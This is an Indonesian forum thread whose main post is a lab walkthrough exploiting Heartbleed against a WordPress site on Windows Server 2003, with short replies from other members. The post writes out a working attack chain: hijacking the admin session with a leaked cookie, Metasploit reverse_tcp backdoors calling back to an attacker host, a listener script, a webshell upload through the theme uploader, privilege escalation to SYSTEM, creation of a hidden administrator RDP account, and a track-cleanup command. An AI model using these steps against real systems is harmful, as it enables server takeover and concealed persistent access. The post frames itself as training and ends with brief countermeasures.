[czeroo_cool]

Ok. Terim kasih telah menunggu. Supaya gak dikira boong / hoax ane update ini thread terlebih dahulu, karena step step nya agak banyak, sebenarnya tidak banyak, cuman saya pengen menjelaskan sedetil-detil nya supaya temen-temen paham dengan maksud saya. Judul thread ini merupakan penjelasan lebih lanjut dari Wokshop IBT Jogja kemarin di Universitas Atma Jaya Yogyakarta.

Pertama-tama setup Lab nya terlebih dahulu.
Sebelumnya saya minta maaf karena di contoh gambar ini saya menggunakan Kali Linux yang running di VirtualBox windows, dikarenakan ada problem di Kali Linux saya.

Alat yang digunakan untuk lab ini adalah :
[hidden]
1. VirtualBox (versi OS masing-masing)

Spoiler! :

https://www.virtualbox.org/wiki/Downloads

2. Windows Server 2003

Spoiler! :

Cari sendiri ISO nya, beli kalo bisa :-bd

3. XAMPP for Windows

Spoiler! :

https://www.apachefriends.org/download.html

4. Wordpress

Spoiler! :

https://wordpress.org/download/

5. HeartBleed Exploit

Spoiler! :

http://www.exploit-db.com/exploits/32745/

Virtualbox digunakan untuk merunning Windows Server yang akan kita gunakan sebagai server target. Di server windows , kita install XAMPP sebagai webserver, sekaligus dengan database server dan scriptingnya. Kemudian Wordpress (CMS) sebagai websitenya.

Selanjutkan, karena ini adalah lab untuk exploit Heartbleed , maka kita perlu untuk setup SSL key dulu di XAMPP nya. Caranya adalah sebagai berikut :

1. Buka XAMPP Control Panel, kemudian klik XAMPP-Shell
2. Ketikan perintah berikut untuk mengenerate private key nya.

Spoiler! :

openssl genrsa -des3 -out server.key 1024

Spoiler! :

3. Setelah private key dibuat, kita buat signing certificate nya.

Spoiler! :

openssl req -new -key server.key -out server.csr

Spoiler! :

pastikan diisi sesuai dengan example dari XAMPP nya. Gak berpengaruh terhadap sistem, tapi sebaiknya diisi dengan benar.
4. Kemudian kita sign certificate nya tadi

Spoiler! :

openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

5. Setelah itu taruh File .key dan .crt nya ke folder conf di Apache nya, kalo server.key kita taruh di folder ssl.key, kalo server.crt kita taruh di ssl.crt
6. Atur virtualhost anda untuk menggunakan SSL Key, Contoh virtualhost saya adalah sebagai berikut .

Spoiler! :

Code:

<VirtualHost *:443>
   DocumentRoot "C:/xampp/htdocs/lab"
   ServerName labatmajaya.com
   ServerAlias www.labatmajaya.com
    SSLEngine on
    SSLCertificateFile conf/ssl.crt/server.crt
    SSLCertificateKeyFile conf/ssl.key/server.key
</VirtualHost>

Setelah itu coba restart / start XAMPP nya, buka website nya make https.
(ASUMSI, Wordpress sudah diinstall di WebServer]

Spoiler! :

Spoiler! :

Oke persiapan selesai, setelah itu kita akan melakukan fase-fase Hacking (#kata EC-Council]

1. Reconnaissance
2. Scanning
3. Gaining Access / exploit
4. Maintaining Access
5. Covering Tracks

Kita bahas satu-persatu terlebih dahulu.

1. Reconnaissance
reconnaissance adalah fase dimana seorang manusia *baca Hacker melakukan kegiatan untuk mencari tahu tentang si target (#baca Keppo). reconnaissance sendiri ada 2 tipe, reconnaissance active dan pasif.
reconnaissance active adalah proses mencari tahu target langsung kebagian dalam target sendiri atau yang dijalankan pada target, misal nya, webserver, ip address, admin panel dsb. Sedangkan reconnaissance pasiv adalah proses mencari tahu target dengan cara mencari informasi apapun yang berkaitan dengan target, misalnya mencari tahu siapa admin website nya, email website, provider website dll.

Dari proses reconnaissance ini kita dapatkan bahwa :
- Website menggunakan Wordpress
- Webserver menggunakan XAMPP
- Server menggunakan Windows

2. Scanning
Scanning adalah fase dimana hacker mencoba untuk menjelajah lebih lanjut dari target dengan melakukan pemindaian, pemindaian ini akan memperlihatkan kelemahan yang ada di target. Contoh scanning adalah si hacker melakukan scanning port di server target, selain itu pada kesempatan ini hacker mencoba untuk test heartbleed di server.

Spoiler! :

3. Gaining Access
Gaining access adalah fase dimana hacker mencoba untuk mendapatkan akses ke Target. contohnya adalah sebagai berikut :
Pertama setelah hacker tahu bahwa server vulnerable terhadap serangan heartbleed, maka hacker menggunakan tool dibawah ini untuk mendapatkan informasi / data dari server target. (Download toolnya di sini kalo mau versi PHP nya disini bro)

Setelah itu berbekal cookies yang ada, hacker mencoba untuk memanipulasi cookies di browser dia.
Sebagai bukti saya sertakan screenshoot dibawah ini bahwa ketika saya mencoba untuk mengakses admin panel, saya diminta untuk memasukkan username dan password.

Spoiler! :

untuk memanipulasi gunakan addons cookie manager di browser anda.

supaya tidak bingung ini saya tampilkan cookies nya

Spoiler! :

Spoiler! :

Code:

Cookie: wordpress_sec_327a59d582ce675c356d64443376395a=admin%7C1399474023%7C5eb8dcc33ddd547b89a0e0969382d9f4; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_327a59d582ce675c356d64443376395a=admin%7C1399474023%7C537451aabb9ccff36dec9277cacdee6d; wp-settings-time-1=1399301223
S

Manipulasi cookie di browser hacker dengan cookie tersebut sehingga menjadi seperti ini.

Spoiler! :

Kemudian tinggal refresh browser atau akses ke panel admin nya. Dan si hacker pun telah masuk sebagai administrator di website tersebut.

Spoiler! :

4. Maintaining Access
Maintaining Access adalah proses dimana si hacker mencoba untuk mempertahankan akses nya di target, dengan kata lain si hacker mengupload backdoor/ pintu belakang.

Saya akan menggunakan metasploit untuk membuat backdoor saya, command yang saya gunakan adalah sebagai berikut :

Spoiler! :

Code:

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=8888 R > bd.php

Kemudian untuk setup listener nya saya gunakan perintah berikut :

Spoiler! :

Code:

root@kali:~# touch exploit.rc
root@kali:~# echo use exploit/multi/handler >> exploit.rc
root@kali:~# echo set PAYLOAD php/meterpreter/reverse_tcp >> exploit.rc
root@kali:~# echo set LHOST 192.168.1.3 >> exploit.rc
root@kali:~# echo set LPORT 8888 >> exploit.rc
root@kali:~# echo set ExitOnSession false >> exploit.rc
root@kali:~# echo exploit -j -z >> exploit.rc
root@kali:~# msfconsole -r exploit.rc

Kemudian, upload backdoor (bd.php) tadi ke server melalui admin panel website nya.
Untuk platform wordpress upload file php tidak dibolehkan di upload pada media, gunakan upload themes di menu appearance untuk mengupload bd.php. Kemudian lihat bd.php di media dan lihat url nya. Copas URL nya ke browser, dan meterpreter pun akan terbuka di Linux.

Spoiler! :

Karena saya kurang puas dengan hasil sejauh ini, saya akan mencoba untuk take over server tersebut, karena servernya windows, saya akan menggunakan metaploit windows exploitation untuk take over server. Oleh karena itu siapkan backdoor satu lagi dengan extensi .exe

Spoiler! :

Code:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=7777 X > bd.exe

Kembali di msfconsole, setelah kita berada di meterpreter,  setup listener untuk backdoor yang kedua. Caranya gampang, tinggal ganti payload yang digunakan dan port numbernya.

Spoiler! :

kemudian logika saya adalah saya akan mengupload backdoor exe tersebut ke server, dan mengeksekusinya supaya meterpreter saya yang kedua terbuka. Caranya adalah kembali ke php/meterpreter sebelumnya. Lihat session nya dengan command sessions.

kemudian untuk berinteraksi dengan sessin php/meterpreter, gunakan perintah

Spoiler! :

sessions -i 1

php/meterpreter pun terbuka lagi. Sekarang untuk mengeksekusi file exe (backdoor exe) kita tadi, upload backdoor tersebut di folder C:\Windows\system32
Gunakan perintah upload meterpreter seperti gambar dibawah ini.

Spoiler! :

Lalu eksekusi backdoornya dengan perintah

Spoiler! :

execute -k -f bd.exe

Maka meterpreter kedua pun akan terbuka..

Spoiler! :

Ketikkan perintah background untuk kembali ke background kemudian interact ke session 2,  Dari meterpreter windows saya mencoba untuk membypass privileges nya dengan perintah

Spoiler! :

getprivs

Hasilnya adalah

Spoiler! :

Code:

SeDebugPrivilege
 SeIncreaseQuotaPrivilege
 SeSecurityPrivilege
 SeTakeOwnershipPrivilege
 SeLoadDriverPrivilege
 SeSystemProfilePrivilege
 SeSystemtimePrivilege
 SeProfileSingleProcessPrivilege
 SeIncreaseBasePriorityPrivilege
 SeCreatePagefilePrivilege
 SeBackupPrivilege
 SeRestorePrivilege
 SeShutdownPrivilege
 SeSystemEnvironmentPrivilege
 SeChangeNotifyPrivilege
 SeRemoteShutdownPrivilege
 SeUndockPrivilege
 SeManageVolumePrivilege

Kemudian saya cek user saya sebagai apa dengan perintah

Spoiler! :

getuid

Spoiler! :

Server username: IBT-LAB\Administrator

kemudian saya ingin menjadi NT AUTHORITY\SYSTEM / dalam linux sebagai root nya.
saya gunakan perintah

Spoiler! :

getsystem

setelah itu saya coba cek user saya lagi, dan hasilnya saya menjadui NT AUTHORITY\SYSTEM

Spoiler! :

kemudian saya ingin menambahkan user remote desktop di Server , saya gunakan perintah run getgui

Spoiler! :

Code:

Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or:    getgui -e

OPTIONS:

   -e        Enable RDP only.
   -f <opt>  Forward RDP Connection.
   -h        Help menu.
   -p <opt>  The Password of the user to add.
   -u <opt>  The Username of the user to add.

Perintah yang saya masukkan adalah

Spoiler! :

run getgui -u hekel -p keppo

Hasilnya adalah

Spoiler! :

Code:

meterpreter > run getgui -u hekel -p cekel
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez [email protected]
[*] Setting user account for logon
[*]     Adding User: hekel with Password: cekel
[*]     Hiding user from Windows Login screen
[*]     Adding User: hekel to local group 'Remote Desktop Users'
[*]     Adding User: hekel to local group 'Administrators'
[*] You can now login with the created user

[*]

Spoiler! :

Setelah mendapatkan akses remote desktop, saya mencoba untuk masuk ke server via remote desktop. Di remote desktop saya mencoba untuk mengganti passsword administrator, caranya masuk ke computer management, lalu pilih Local user and groups kemudian set password baru untuk user Administrator

Spoiler! :

Done.

5. Covering tracks
Supaya tidak terdeteksi, maka seorang hacker harus mampu untuk menyembunyikan diri atau menghapus jejaknya. Untuk menghapus jejak kita di server, gunakan perintah ini di metasploit console nya.

Spoiler! :

Code:

meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20140505.1951.rc

[*]

Game Over..

Countermeasure :
1. Upgrade OS & Software (termasuk OpenSSL)
2. Pasang Antivirus
3. Pasang rule di PHP
4. Pasang HoneyPot.

[/hidden]

[alkaaf]

Anjir =)) waiting broo. Hahaha

[wine trochanter]

kamprettt ane kira udah wkkwkw
ane tunggu dah :v

[cyberking]

manteep ditunggu om @czeroo_cool

[r14n]

=)) sumringah , dikira udah ada .ditunggu om wkwk

[tirtana]

wah si TS bercanda...........
tak kira beneran

[checkpoint]

Ikutan nunggu juga nh om.....pengen kebagian ilmu hehehe

[zee eichel]

wkwkwkkw suram :p

[Shadow_]

TS oh TS :v
Tak tunggu tutornya om >_<

[suryaadtmaja]

wkwk suram, kirain udah jadi :v